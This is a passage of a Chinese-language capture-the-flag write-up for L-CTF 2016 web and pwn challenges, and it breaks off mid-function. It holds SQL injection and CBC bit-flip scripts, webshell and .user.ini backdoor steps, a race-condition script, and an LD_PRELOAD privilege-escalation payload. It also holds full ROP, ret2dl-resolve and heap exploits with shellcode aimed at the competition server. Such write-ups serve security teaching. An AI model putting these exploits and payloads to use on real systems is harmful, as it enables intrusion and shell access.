L-CTF 2016 Writeup ( Part I )

Web

Web 50 签到

签到题,登录页面存在报错注入,过滤了and、or、select等,但都可以通过双写绕过,空格用/**/代替,通过报错回显即可拿到密码。登陆后进入购买页面,抓包可发现购买数量和密码都可控,猜测后台检验方式为用户余额-单价x数量是否大于零,于是可将购买数量改为一负值或者0,再对密码进行爆破即可。

web_01.jpg

Web150 我控几不主我及几啦

这道题思路来源于LuManager15年12爆出的注入漏洞,但sqlmap也能跑并不在出题人意料之内,分给得偏高。从解题人数来看作为签到题似乎更好一点QAQ。
解题办法:
1.sqlmap加上各种tamper后即可跑出
2.构造一个上传表单
并将enctype="multipart/form-data",然后通过post方法传入id,即可绕过waf联合查询出flag。

web_02.jpg

where是sql关键字,记得用反引号包住。
注入得到flag:

web_03.jpg

Web 200 睡过了

其实这个题就是前段时间爆出来的一个洞,如果你关注最新的漏洞这个题基本就是秒出啦~

具体的参见http://paper.seebug.org/39/,基本就是以下几点:

1.PHP序列化字符串中对象长度前加一个+号仍可正常反序列化,可用此来绕过正则,参见这篇文章
2.PHP当序列化字符串中表示对象属性数的值大于真实的属性个数时会跳过__wakeup()的执行 (所以题目叫睡过啦~);
3.绕过PHP中open_basedir的限制。

首先打开链接,在filename,filedata中填好一句话的文件名和文件内容,跳到了upload.php,有提示"这种key加也行":

web_04.jpg

就像前面所说的加个+:

web_05.jpg

很明显filename和filedata的值被清空了。继续改掉"key"后面的那个2为3或者大于2这数字:

web_06.jpg

写进去了,嘿嘿嘿嘿~

这里实际上是会传到upload目录下,这个目录需要试一下或者扫,这个倒没什么,不过比较坑的一点是会把你的文件名做一下MD5在存在upload目录下 (这个确实.......不过我很快就放出提示告诉大家啦)。然后得知了路径直接用菜刀连上就有一个webshell啦:

web_07.jpg

然而你会发现有open_basedir的限制,我们需要再写一个脚本去绕过:

web_08.jpg

参见P总的博客

最后访问就可以得到Flag啦~~~~

web_250–苏打学姐的网站

这个题目一共有三个步骤。首先是文件读取,有一点小坑,当时放题想过要不要把后台正则匹配的代码提示出来,但是看到几个师傅秒过就算了,然后就是一个常规的CBC翻转,ctf也出现过。

最后是一个上传,比较实战的一个点,使用.user.ini文件构成的PHP后门getshell。最有意思的就是尽量想办法防止文件被改或者删除等,毕竟要getshell,权限限制,再加上ph师傅说的-i隐藏属性各种限制,以及各位大佬的照顾和捧场,使最后题目没出乱子,谢谢大家。还是有一点失误的,记的有队伍的web牛直接使用php文件把flag读到网页访问,这样的话导致其他队伍去的话可以直接访问到flag了(感谢师傅马上上传覆盖解决这个尴尬)。so姿势水平还要加强。

首先打开几个图片可以知道是文件包含,也给了tips提示tips:file/tips.txt、但是直接访问是403,使用img.php直接img.php?id=file/tips.txt也是读取不到的,必须是有jpg,还使用正则简单限制了php://xxxxxxxxx/resource=形式的读取,后台代码如下:

web_09.jpg

所以payload: img.php?id=php://xxxxxxxxx/resource=file/1.jpg/resource=file/tips.txt就可以读到。代码还给返回头加了image/jpg,火狐浏览器直接解析是看不到,可以使用Google Chrome或者curl命令也行。

web_10.jpg

得到后台,随便同方法看看admin.php.txt源码,知道是一个cbc翻转改变cookie,参考以前wooyun文章,各位可以网上搜索一下。打开/admin_5080e75b2fe1fb62ff8d9d97db745120首页,主要代码:

<?php
error_reporting(0);
$Key = "xxxxxxxxxxxxxxxxx";
$iv = "xxxxxxxxxxxxxxxx";
$v = "2016niandiqijiequanguowangluoanquandasai0123456789abcdef-->xdctfxdnum=2015auid=4;xdctfxdctf";
$en_Result = mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$Key, $v, MCRYPT_MODE_CBC, $iv);
$enc = base64_encode($en_Result);
$en_Data = base64_decode($_COOKIE[user]);
$de_Result = mcrypt_decrypt(MCRYPT_RIJNDAEL_128,$Key, $en_Data, MCRYPT_MODE_CBC, $iv);

$b = array();
$b = isset($_COOKIE[user])?$de_Result:$enc;
$num1 = substr($b,strpos($b,"uid")+4,1);
$num2 = substr($b,strpos($b,"num")+4,4);
echo '</br><h3>ID: '.$num1."</h3><br>";

if ($num1 == 1  && $num2 == 2016){
    die ("shen mi li wu !");
}
else{
    echo "HELLO CLIENT";
}
setcookie("user",$enc);
?>

需要改变的是2015的5和uid=4的4,分别对应63和57位,poc:

<?php       
        $enc = "dSaWGkNVh2MADjPscqdId/25Y68VaL+Ze6rYSCUHvvDV7MnbDs6fHcibGemmyMoyfHa9cXJ7DHU8Wd/DZqyNfLQ5dDs9wVDIllMKnIQilJunP9hpJ3CYFayOF0vbiqhM";
        $enc = base64_decode($enc);
        $enc[63] = chr(ord($enc[63]) ^ ord("4") ^ ord ("1"));
        $enc[57] = chr(ord($enc[57]) ^ ord("5") ^ ord ("6"));

        $c = base64_encode($enc);
        $d = urlencode($c);
        echo $d;       
?>

替换cookie可以跳转到上传界面,fuzzing可以上传ini,不多说直接一篇文章搞定:http://404.so/7945.html ,之后getshell。得到flag。

web_x.png

Web 300 headpic

这道题的大致思路是,首先通过注册账户,注册带非法字符的用户名,发现无法正常的修改头像,而构造正确的sql逻辑则可以更新头像,于是认为在访问用户主页时触发了二次注入。然后到需要写脚本的时候,需要克服这道题的验证码。首先它形式很简单,完全没有粘连,因此可以直接用tesseract-ocr识别;不过还有更简单的方式,验证码是存在session里的,且缺乏验证,那我们直接清空cookie,验证码就不起效了。注入的脚本大致如下:

#coding:utf-8
import requests
import random
import pytesseract  
from PIL import Image
from io import BytesIO
import string
import sys
def regist(name):
    url1=url+"check.php"
    try:
        for i in range(20):
            veri = verify()
            #print veri
      payload={'user':name,'pass':'111','verify':veri,'typer':'0','register':"%E6%B3%A8%E5%86%8C"}
            #print payload
            r=requests.post(url1,data=payload,headers=headers)
            txt=r.text
            #print txt
            #print r.headers['Content-Length']
            if '2000' in txt:
                print "register OK!!"
                flag = login(name)
                return flag
                break
            else:
                pass
                #print "not register"
        return False
    except Exception, e:
        pass
def login(name):
    url1=url+"check.php"
    try:
        for i in range(20):
            veri = verify()
            #print veri
            payload={'user':name,'pass':'111','verify':veri,'typer':'0','login':'%E7%99%BB%E9%99%86'}
            r=requests.post(url1,data=payload)
            txt=r.text
            #print txt
            if '2000' in txt:
                print "login OK!!"
                #print r.headers
                headers['Cookie'] = r.headers['Set-Cookie']
                v = setpic(headers)
                if v:
                    return True
                    #sys.exit()
                break
            else:
                pass
                #print "not login"
        return False
    except Exception, e:
        raise e

def verify():
    url = "http://xxxxxx/verify.php"
    try:
        r=requests.get(url,headers=headers)
        i=Image.open(BytesIO(r.content))
        im = i.convert('L')
        threshold = 140
        table = []
        for i in range(256):
            if i < threshold:
                table.append(0)
            else:
                table.append(1)
        out = im.point(table, '1') 
        return pytesseract.image_to_string(out)
    except Exception, e:
        raise e

def setpic(headers):
    url1 = "http://xxxxxx/ucenter.php"
    try:
        r=requests.post(url1,headers=headers)
        txt=r.text
        #print txt
        if "math1as.com/pic" in txt:
            return True
        else:
            return False
    except Exception, e:
        raise e

headers={
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
    "Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
    "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Encoding":"gzip, deflate",
    "Cookie":"3vitee1ku455s2etkefct41j10"
    }
url = "http://xxxxxx/"
payloads = ['2', '6', '3', '4', '5', '1', '7', '8', '9', '0','f','a','b','c','d', 'e']
#payloads =['/','@','_','.', '-', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
#payloads  =list(string.ascii_lowercase)
ss = ""

#name = 'kkkkkkkk\'/**/or/**/exists(select/**/*/**/from/**/xdsec)/**/#'
#for i in payloads:
for i in range(1,33):
    flag = False
    for x in payloads:
        name = 'kkkkkkkk\'/**/or/**/ord(substr((select/**/pass/**/from/**/flag_admin_233),'+str(i)+',1))='+str(ord(x))+'/**/#'
        #name = 'kkkkkkkk\'/**/or/**/ord(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=0x666c61675f61646d696e5f323333/**/limit/**/2,1),4,1))=115/**/#'
        #name = 'kkkkkkkk\'/**/or/**/length((select/**/admin/**/from/**/flag_admin_233))=5/**/#'
        #name = 'kkkkkkkk\'/**/or/**/exists(select/**/id/**/from/**/flag_admin_233)/**/#'
        #print name
        flag = regist(name)
        if flag:
            ss += x
            print ss
            break
            #sys.exit()
print "done"
#pass:6cb0598de4da617832e15f4c69570b7
#name = 'kkkkkkkk\'/**/or/**/100>50/**/#'

注入成功得到密码后还是无法直接登陆。然后在robots.txt处有一个base32加密的提示,所以去想办法访问scret_new_notice.php(这里需要以local访问,通过头像处的ssrf,通过@的基础认证方式绕过),得到的提示是admin用户改变了自己的用户名。在这种情况下,由于用来判断的函数是strcmp(),因此传入数组为User[]=xxxx使其返回值为0,成功得到flag。

Web300 【你一定不能来这】

感谢已毕业的phithon学长,部分思路来源于p总博客

首先在根目录下的crossdomain.xml发现隐藏的域名:

web_11.jpg

访问该域名后可下载一份download.php源码:

web_12.jpg

并发现可以利用hash长度扩展攻击下载得到www.rar。由于不知道secret长度,需要爆破。Secret长度为18,下载www.rar发现压缩包加密了,二进制观察压缩包发现文件尾有一串jjencode,拖入浏览器中可得一段培根密码,解密得到压缩包密码:

web_13.jpg

解压后进行代码审计,可以得到管理员邮箱。又发现要得到flag要重置id=0的用户的密码。而在php中id=0是会被判断为空的,而由于mysql的特性,会将0aa这样的字符串转成.所以id=0aa即可进入第一个if。

接下来需要知道token,而token是时间戳加上rand(1,10000),那么就需要预测服务器上的时间戳然后爆破1-10000。预测时间戳的话有两种方法:

  1. 本地直接time()取,这样的话需要减去网络延时。网络状况不稳定的话就容易造成较大误差。
  2. 通过获取http头的date字段获取服务器的准确时间(GMT),这样的话需要确定php.ini的时区设置(北京时间是GMT+8),得到时间戳后爆破即可。这里有一个坑点是,一个回合只能有一个队伍可以重置管理员密码,所以需要通过脚本竞争来进入爆破环节。

Web 500 盘加加

比较有趣的一个题目。

首先是登陆的部分,由于管理员的注册逻辑有错,pwd忘记加上md5(),导致无法正常登陆。这时注意到找回密码的地方,为4位数字验证码,因此直接通过脚本爆破。进入到ucenter后其中的调试脚本功能需要余额为99999以上才能使用,而初始提供给了用户33333积分,可以以1:1的形式进行兑换。

web_14.jpg

这里考察的是一个数据库不加锁情况下处理并发的业务逻辑问题,因此直接用时间竞争的方式,脚本多线程跑一下即可。脚本如下:

# -*- coding:utf-8 -*-
import requests
from time import sleep
from threading import Thread

class URLThread(Thread):
    def __init__(self, url,data,cookie, timeout=1, allow_redirects=True):
        super(URLThread, self).__init__()
        self.url = url
        self.timeout = timeout
        self.allow_redirects = allow_redirects
        self.response = None
        self.data=data
        self.cookies=cookies

    def run(self):
        try:
           self.response=requests.post(self.url,timeout=self.timeout,data=self.data,cookies=self.cookies)
            text=self.response.text
            print text
        except Exception , what:
            print what
            pass

num=10
data={"count":"33332"}
cookies={"username":"2|1:0|10:1475430892|8:username|16:bWF0aDFhc19yb290|061255e41481821c19b68f12ac86017ec07f5729ca8ddf9050b291dca75a5360"}
th=list()
for i in range(num):
    th.append(URLThread("http://119.28.15.75:9000/trans",data,cookies))
for j in th:
j.start()

然后就可以开始调试脚本了。很明显,这里存在一个命令注入,但是限制了大部分的符号,只能使用|、空白、制表符、数字和字母。因此有两种方式绕过:

  1. 利用正则表达式匹配多行的问题,直接绕过

web_15.jpg

  1. Wget10进制ip地址,然后通过302为其指定一个无后缀名的文件名

最后通过python 文件名执行命令,这个思路是从hitcon的某道题目过来的。最后反弹一个shell,发现权限为root,那么就直接开始审查web源码。在route.py的逻辑中,发现了内网的ip地址,也就是我们调试的脚本地址。用ssh隧道转发后进行访问,发现这其实是一个用php为基础的解释语言(其实就是替换)。在提供的example中找到了调用require的方法,试图包含/self/proc/environ是没有权限的,那么只能使用eval的方法,去执行一个$_SERVER变量,比如x_forwarded_for

web_16.jpg

成功执行代码后,就可以执行system,反弹一个shell了:

web_17.jpg

最后在/home/pwn目录下发现了flag文件,但是直接读取仍然没有权限。分析同目录的.note_pwn,是一个本地提权的文件(setgid),32位程序,很直接的栈溢出,通过stack-pivoting技巧转移esp到可控区域,然后执行这块区域上预先放置好的rop-chain即可,这块可控区域可利用设置LD_PRELOAD环境变量来获得:

ulimit -s unlimited
export LD_PRELOAD=`python -c "print 'A'*29 + '\xa0\x5e\x63\x55' + 'AAAA' + '\x8c\xea\x6d\x55' + '\x00'*0x8"`
python -c "print 'A'*0x28+'\xd0\x8e\x57\x55'" > /tmp/payload
cat /tmp/payload - | ./note_pw

最终得到flag

PWN

# 对zio的输入输出加了点函数,方便自己使用
class zio(object):
    #.....    
    def w(self, s):
        self.write(s)
        
    def wl(self, s = ''):
        if isinstance(s, (int, long)):
            self.writeline(str(s))
        else:
            self.writeline(s)
            
    def wls(self ,sequence):
        self.writelines( [str(i) if isinstance(i, (int, long)) else i for i in sequence] )
    
    def r(self, size = None, timeout = -1):
        return self.read(size, timeout)

    def rl(self, size = -1):
        return self.read_line(size)

    def rtl(self, pattern_list, timeout = -1, searchwindowsize = None):
        return self.read_until(pattern_list, timeout, searchwindowsize)

    def w_af(self, pattern_list, s, timeout = -1, searchwindowsize = None):
        self.read_until(pattern_list, timeout, searchwindowsize)
        self.writeline(s)

    def wls_af(self, pattern_list, sequence, timeout = -1, searchwindowsize = None):
        self.read_until(pattern_list, timeout, searchwindowsize)
        self.writelines( [str(i) if isinstance(i, (int, long)) else i for i in sequence] )

PWN100

Bugs

程序有非常简单粗暴的栈缓冲区溢出,可溢出0x80个字节

Thinking

栈溢出,没有提供libc,利用方法很多,可以通过got表泄露libc,可以通过DynELF来泄露libc,然后return-to-libc,或者return-to-dl-resolve

下面给出的两个exp,一个是我无聊测试一下之前写的手动泄露共享库函数的方法,具体方法可参考这篇文章,另一个exp也是我无聊试的return-to-dl-resolve

Exploit

re2libc
from zio import *
from pwnlib.dynelf import *
from pwnlib.elf import *

io  = zio(('119.28.63.211', 2332), print_read = COLORED(REPR, 'red'), print_write = COLORED(REPR, 'blue'), timeout = 100000)
# io = zio(('119.28.63.211', 2332), print_read = False, print_write = False, timeout = 10000)
# io.hint([0x4006b7])

got_read    = 0x601028
got_puts    = 0x601018
plt_puts    = 0x400500
adr_bss     = 0x601000

p_rdi_ret   = 0x00400763

def prepare(address):
    payload  = 'A' * 0x48
    payload += l64(p_rdi_ret)
    payload += l64(address)
    payload += l64(plt_puts)
    payload += l64(0x400550) # program entry
    payload  = payload.ljust(0xc8, 'A')
    io.w(payload)
    io.rtl('bye~\n')

def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
    payload  = l64(part1)   # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
    payload += l64(0x0)     # rbx be 0x0
    payload += l64(0x1)     # rbp be 0x1
    payload += l64(jmp2)    # r12 jump to
    payload += l64(arg3)    # r13 -> rdx    arg3
    payload += l64(arg2)    # r14 -> rsi    arg2
    payload += l64(arg1)    # r15 -> edi    arg1
    payload += l64(part2)   # part2 entry will call [rbx + r12 + 0x8]
    payload += 'A' * 56     # junk
    return payload

def getshell(adr_system):
    payload  = 'A' * 0x48
    payload += com_gadget(0x40075a, 0x400740, jmp2 = got_read,
            arg1 = 0x0,
            arg2 = adr_bss + 0x80,
            arg3 = 0x10)
    payload += l64(0x400550) # program entry
    payload  = payload.ljust(0xc8, 'A')
    io.w(payload)
    io.rtl('bye~\n')
    io.w('/bin/sh\x00' + l64(adr_system))

    payload  = 'A' * 0x48
    payload += com_gadget(0x40075a, 0x400740, jmp2 = adr_bss + 0x88,
            arg1 = adr_bss + 0x80)
    payload += l64(0xdeadbeef)
    payload  = payload.ljust(0xc8, 'A')
    io.w(payload)
    io.rtl('bye~\n')

def leak(address, size):
    count       = 0
    buf         = ''
    while count < size:
        prepare(address + count)
        # leak(str(address + count))
        while True:
            ch = io.read(1, timeout = 0x10)
            #print ch
            count += 1
            if ch == '\n':
                buf += '\x00'
                break
            else:
                buf += ch[0]
    leak_data = buf[:size]
    #print '{} ==> {}'.format(hex(address), leak_data.encode('hex'))
    return leak_data

# manual leak libc
BITS = 64

# get arbitrary address located in libc
def get_elf_entry(got):
    entry = l64(leak(got, 0x8))
    print '[+] libc entry\t\t\t\t:\t0x%x' % entry
    return entry

# find libc base according to Magic
def find_elf_base(entry):
    if BITS == 64:
        libc_base = entry & 0xfffffffffffff000
        while True:
            garbage = leak(libc_base, 0x4)
            if garbage == '\x7fELF':
                break
            libc_base -= 0x1000
        print '[+] libc base\t\t\t\t:\t0x%x' % libc_base
        return libc_base

# find program header table
def find_phdr(elf_base):
    if BITS == 64:
        # get address of program header table
        phdr = l64(leak(elf_base + 0x20, 0x8)) + elf_base
        print '[+] program headers table\t\t:\t0x%x' % phdr
        return phdr

# find dynamic section table (.dynamic section -> DYNAMIC segment)
def find_dyn_section(phdr, elf_base):
    if BITS == 64:
        phdr_ent = phdr
        while True:
            garbage = l32(leak(phdr_ent, 0x4))
            # p_type of dynamic segment is 0x2
            if garbage == 0x2:
                break
            phdr_ent += 0x38
        dyn_section = l64(leak(phdr_ent + 0x10, 0x8)) + elf_base
        print '[+] .dynamic section headers table\t:\t0x%x' % dyn_section
        return dyn_section

def find_sym_str_table(dyn_section):
    if BITS == 64:
        dyn_ent = dyn_section
        dt_sym_tab = 0x0
        dt_str_tab = 0x0
        while True:
            garbage = l64(leak(dyn_ent, 0x8))
            if garbage == 0x6:
                dt_sym_tab = l64(leak(dyn_ent + 0x8, 0x8))
            elif garbage == 0x5:
                dt_str_tab = l64(leak(dyn_ent + 0x8, 0x8))
            if dt_str_tab and dt_sym_tab:
                break
            dyn_ent += 0x10
        print '[+] symtab\t\t\t\t:\t0x%x' % dt_sym_tab
        print '[+] strtab\t\t\t\t:\t0x%x' % dt_str_tab
        return (dt_sym_tab, dt_str_tab)

def find_func_adr(dt_sym_tab, dt_str_tab, func, elf_base):
    if BITS == 64:
        sym_ent = dt_sym_tab
        while True:
            garbage = l32(leak(sym_ent, 0x4))
            name    = leak(dt_str_tab + garbage, len(func))
            if name == func:
                break
            sym_ent += 0x18
        adr_func = l64(leak(sym_ent + 0x8, 0x8)) + elf_base
        print '[+] %s loaded address\t:\t0x%x' % (func, adr_func)
        return adr_func

# exploit ELF
def lookup(func):
    entry                   = get_elf_entry(got_read)
    elf_base                = find_elf_base(entry)
    phdr                    = find_phdr(elf_base)
    dyn_section             = find_dyn_section(phdr, elf_base)
    dt_sym_tab, dt_str_tab  = find_sym_str_table(dyn_section)
    func_address            = find_func_adr(dt_sym_tab, dt_str_tab, func, elf_base)
    return func_address

leak(got_read, 0x8)
adr_system = lookup('__libc_system')
print '[+] system addr\t:\t' + hex(adr_system)

getshell(adr_system)
io.itr()
ret2dl-resolve
from zio import *

io  = zio(('119.28.63.211', 2332), print_read = COLORED(REPR, 'red'), print_write = COLORED(REPR, 'blue'), timeout = 100000)
# io  = zio('./pwn100_strip', print_read = COLORED(REPR, 'red'), print_write = COLORED(REPR, 'blue'), timeout = 100000)
# io = zio(('119.28.63.211', 2332), print_read = False, print_write = False, timeout = 10000)
#io.hint([0x4006b7])

junk        = 0x48

plt_puts    = 0x0000000000400500
plt_resolve = 0x00000000004004f0
got_read    = 0x0000000000601028
got_puts    = 0x0000000000601018
got_linkmap = 0x0000000000601008

leave_ret   = 0x000000000040068c
pop_rbp_ret = 0x0000000000400595
pop_rdi_ret = 0x0000000000400763
p4_ret      = 0x000000000040075c

adr_stage   = 0x0000000000601000 + 0x800

adr_rel_plt         = 0x0000000000400450
adr_dyn_sym         = 0x00000000004002c0
adr_dyn_str         = 0x0000000000400380
adr_fake_rel_plt    = adr_stage + 0x100
adr_fake_dyn_sym    = adr_stage + 0x208
adr_fake_dyn_str    = adr_stage + 0x300
adr_shell           = adr_stage + 0x400

com_part1           = 0x40075a
com_part2           = 0x400740

adr_entry           = 0x400550

def prepare(address):
    payload0  = 'A' * junk
    payload0 += l64(pop_rdi_ret)
    payload0 += l64(address)
    payload0 += l64(plt_puts)
    payload0 += l64(adr_entry)
    payload0  = payload0.ljust(0xc8, 'A')
    io.w(payload0)
    io.rl()

def leak(address, size):
    count       = 0
    buf         = ''
    while count < size:
        prepare(address + count)
        # leak(str(address + count))
        while True:
            ch = io.read(1, timeout = 0x10)
            #print ch
            count += 1
            if ch == '\n':
                buf += '\x00'
                break
            else:
                buf += ch[0]
    #print '{} ==> {}'.format(hex(address), leak_data.encode('hex'))
    leak_data = buf[:size]
    return leak_data

def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
    payload  = l64(part1)   # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
    payload += l64(0x0)     # rbx be 0x0
    payload += l64(0x1)     # rbp be 0x1
    payload += l64(jmp2)    # r12 jump to
    payload += l64(arg3)    # r13 -> rdx    arg3
    payload += l64(arg2)    # r14 -> rsi    arg2
    payload += l64(arg1)    # r15 -> edi    arg1
    payload += l64(part2)   # part2 entry will call [rbx + r12 + 0x8]
    payload += 'A' * 56     # junk
    return payload

adr_linkmap = l64(leak(got_linkmap, 0x8))
print '[+] leak link_map\t:\t' + hex(adr_linkmap)

# overwrite link_map+0x1c8 0x0, read fake structure
payload0  = 'A' * junk
payload0 += com_gadget(com_part1, com_part2, got_read,
        arg1 = 0x0,
        arg2 = adr_linkmap + 0x1c8,
        arg3 = 0x8)
payload0 += l64(adr_entry)
payload0  = payload0.ljust(0xc8, 'A')
io.w(payload0)
io.rl()
io.w(l64(0x0))

payload0  = 'A' * junk
payload0 += com_gadget(com_part1, com_part2, got_read,
        arg1 = 0x0,
        arg2 = adr_stage,
        arg3 = 0x500)
payload0 += l64(adr_entry)
payload0  = payload0.ljust(0xc8, 'A')
io.w(payload0)
io.rl()

payload0  = 'A' * junk
payload0 += l64(pop_rbp_ret)
payload0 += l64(adr_stage)
payload0 += l64(leave_ret)
payload0  = payload0.ljust(0xc8, 'A')

# fake structure
align_rel_plt   = 0x8*3 - (adr_fake_rel_plt - adr_rel_plt) % (0x8 * 3)
payload1  = 'A' * 0x8
payload1 += l64(pop_rdi_ret) # set $rdi "/bin/sh"
payload1 += l64(adr_shell)
payload1 += l64(plt_resolve)
payload1 += l64((adr_fake_rel_plt - adr_rel_plt + align_rel_plt) / (0x8 * 3))
payload1 += l64(0xdeadbeef)
payload1  = payload1.ljust(0x100, 'A')

align_dyn_sym   = 0x8*3 - (adr_fake_dyn_sym - adr_dyn_sym) % (0x8 * 3)
payload1 += 'A' * align_rel_plt
payload1 += l64(got_read)
payload1 += l64((adr_fake_dyn_sym - adr_dyn_sym + align_dyn_sym)/(0x8*3)*0x100000000 + 0x7)
payload1  = payload1.ljust(0x208, 'A')

payload1 += 'A' * align_dyn_sym
payload1 += l32(adr_fake_dyn_str - adr_dyn_str)
payload1 += l32(0x12)
payload1 += l64(0x0)
payload1 += l64(0x0)
payload1  = payload1.ljust(0x300, 'A')

payload1 += 'system\x00'
payload1  = payload1.ljust(0x400, 'A')

payload1 += '/bin/sh\x00'

payload1  = payload1.ljust(0x500, 'A')

io.w(payload1)

io.w(payload0)
io.rl()

io.interact()

PWN200

Bugs

  1. 存在栈地址泄露
  2. 在输入money时存在栈溢出,可覆盖malloc出的指针

Thinking

首先泄露出栈地址,然后覆盖堆指针为栈上的可控区域,我们可以精巧的构造这块区域成一个伪造的堆块,之后通过free,这个堆块即被加入到了fastbin中,然后再通过malloc,即可对这个堆块的空间进行任意写,这时只要覆盖栈上的返回地址为一个jmp rsp,再通过一个short jmp,来执行shellcode,即可获得shell

另外,在构造堆块时,同时要构造好相邻的下一个堆块的头部,使得其prev_inuse == 1(在free的时候会检查)

(其实这个漏洞利用的过程也叫house-of-spirit

然而。事实上由于我的疏忽,可以直接覆盖指针为got表函数的地址,然后strcpy修改got表函数的地址,即可执行shellcode,sigh:(

Exploit

from zio import *
target = './pwn200'
target = ('119.28.63.211', 2333)
io  = zio(target, print_read = COLORED(RAW, 'red'), print_write = COLORED(RAW, 'blue'), timeout = 10000)
io.rl()

# x86/bsd/exec: 24 bytes
shellcode = (
            "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"
            "\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
            )
# leak stack
fake = shellcode.ljust(0x30, 'A')   # shellcode
io.w(fake)
io.rtl('A' * (0x30 - len(shellcode)))
stack_ptr = l64(io.rtl(',')[:-1].ljust(0x8, '\x00')) - 0xb0
print '[+] leak stack pointer\t:\t0x%x' % stack_ptr

io.rtl('id ~~?')
io.wl(0x20)                         # size of next chunk

fake  = 'A' * 0x8
fake += l64(0x61)                   # size of free'd chunk
fake += 'A' * 0x28
fake += l64(stack_ptr)              # vuln stack pointer

io.rtl('money~')
io.w(fake)

io.rtl('choice')
io.wl(2)

io.rtl('choice')
fake  = 'A' * 0x38
fake += l64(0x00400d1b)             # jmp rsp
fake += '\xeb\x1e\x00\x00'          # short jmp
fake  = fake.ljust(0x10, 'B')
io.wls([1, 0x50, fake])

io.wl(3)                            # ret to get shell
io.itr()

Reference

  1. 参考资料1
  2. 参考资料2

PWN300

Bugs

简单粗暴的一个栈溢出

Thinking

程序动态链接的两个共享库都是我自己写的,libio.so里用syscall实现了两个输入输出函数,libgetshell.so里放了一个执行shellcode的getshell函数

自己设计的思路是根据这篇文章来的。手动查文件头和各种表寻找共享库内的函数地址。

关于libgetshell.so的基地址,只要泄露link_map就可以得到

Exploit

from zio import *
io  = zio(('119.28.63.211', 2339), print_read = COLORED(REPR, 'red'), print_write = COLORED(REPR, 'blue'), timeout = 100000)
io.hint([0x4004cb])

got_write   = 0x601018
got_read    = 0x601020
adr_bss     = 0x601000

def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
    payload  = l64(part1)   # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
    payload += l64(0x0)     # rbx be 0x0
    payload += l64(0x1)     # rbp be 0x1
    payload += l64(jmp2)    # r12 jump to
    payload += l64(arg3)    # r13 -> rdx    arg3
    payload += l64(arg2)    # r14 -> rsi    arg2
    payload += l64(arg1)    # r15 -> edi    arg1
    payload += l64(part2)   # part2 entry will call [rbx + r12 + 0x8]
    payload += 'A' * 48     # junk
    return payload

def leak(address, size):
    payload  = 'A' * 0x28
    payload += com_gadget(0x40049c, 0x400480, jmp2 = got_write,
            arg1 = 0x1,
            arg2 = address,
            arg3 = size)
    payload += l64(0x4004ec) # program entry
    io.rl()
    io.w(payload)
    leak_data = io.r(size)
    print '{} ==> {}'.format(hex(address), leak_data.encode('hex'))
    return leak_data

def getshell(adr_system):
    raw_input()
    payload  = 'A' * 0x28
    payload += com_gadget(0x40049c, 0x400480, jmp2 = got_read,
            arg1 = 0x0,
            arg2 = adr_bss + 0x80,
            arg3 = 0x10)
    payload += l64(0x4004ec) # program entry
    io.w(payload)
    io.w('/bin/sh\x00' + l64(adr_system))

    payload  = 'A' * 0x28
    payload += com_gadget(0x40049c, 0x400480, jmp2 = adr_bss + 0x88,
            arg1 = adr_bss + 0x80)
    payload += l64(0xdeadbeef)
    io.w(payload.ljust(0x80, 'A'))


# manual leak libc
BITS = 64

def find_elf_base():
    adr_lmap = 0x601008
    node = l64(leak(adr_lmap, 8))
    name = 0x0
    junk = ''
    while True:
        if node:
            junk = leak(node, 8*5)
            if 'getshell' in leak(l64(junk[8:16]), 0x80):
                print '[+] find shared object at 0x%x ~' % l64(junk[:8])
                break
            else :
                node = l64(junk[24:32])
        else:
            print '[-] not found ~'
            break
    return l64(junk[:8])

# find program header table
def find_phdr(elf_base):
    if BITS == 64:
        # get address of program header table
        phdr = l64(leak(elf_base + 0x20, 0x8)) + elf_base
        print '[+] program headers table\t\t:\t0x%x' % phdr
        return phdr

# find dynamic section table (.dynamic section -> DYNAMIC segment)
def find_dyn_section(phdr, elf_base):
    if BITS == 64:
        phdr_ent = phdr
        while True:
            garbage = l32(leak(phdr_ent, 0x4))
            # p_type of dynamic segment is 0x2
            if garbage == 0x2:
                break
            phdr_ent += 0x38
        dyn_section = l64(leak(phdr_ent + 0x10, 0x8)) + elf_base
        print '[+] .dynamic section headers table\t:\t0x%x' % dyn_section
        return dyn_section

def find_sym_str_table(dyn_section):
    if BITS == 64:
        dyn_ent = dyn_section
        dt_sym_tab = 0x0
        dt_str_tab = 0x0
        while True:
            garbage = l64(leak(dyn_ent, 0x8))
            if garbage == 0x6:
                dt_sym_tab = l64(leak(dyn_ent + 0x8, 0x8))
            elif garbage == 0x5:
                dt_str_tab = l64(leak(dyn_ent + 0x8, 0x8))
            if dt_str_tab and dt_sym_tab:
                break
            dyn_ent += 0x10
        print '[+] symtab\t\t\t\t:\t0x%x' % dt_sym_tab
        print '[+] strtab\t\t\t\t:\t0x%x' % dt_str_tab
        return (dt_sym_tab, dt_str_tab)

def find_func_adr(dt_sym_tab, dt_str_tab, func, elf_base):
    if BITS == 64:
        sym_ent = dt_sym_tab
        while True:
            garbage = l32(leak(sym_ent, 0x4))
            name    = leak(dt_str_tab + garbage, len(func))
            if name == func:
                break
            sym_ent += 0x18
        adr_func = l64(leak(sym_ent + 0x8, 0x8)) + elf_base
        print '[+] %s loaded address\t:\t0x%x' % (func, adr_func)
        return adr_func

# exploit ELF
def lookup(func):
    elf_base                = find_elf_base()
    phdr                    = find_phdr(elf_base)
    dyn_section             = find_dyn_section(phdr, elf_base)
    dt_sym_tab, dt_str_tab  = find_sym_str_table(dyn_section)
    func_address            = find_func_adr(dt_sym_tab, dt_str_tab, func, elf_base)
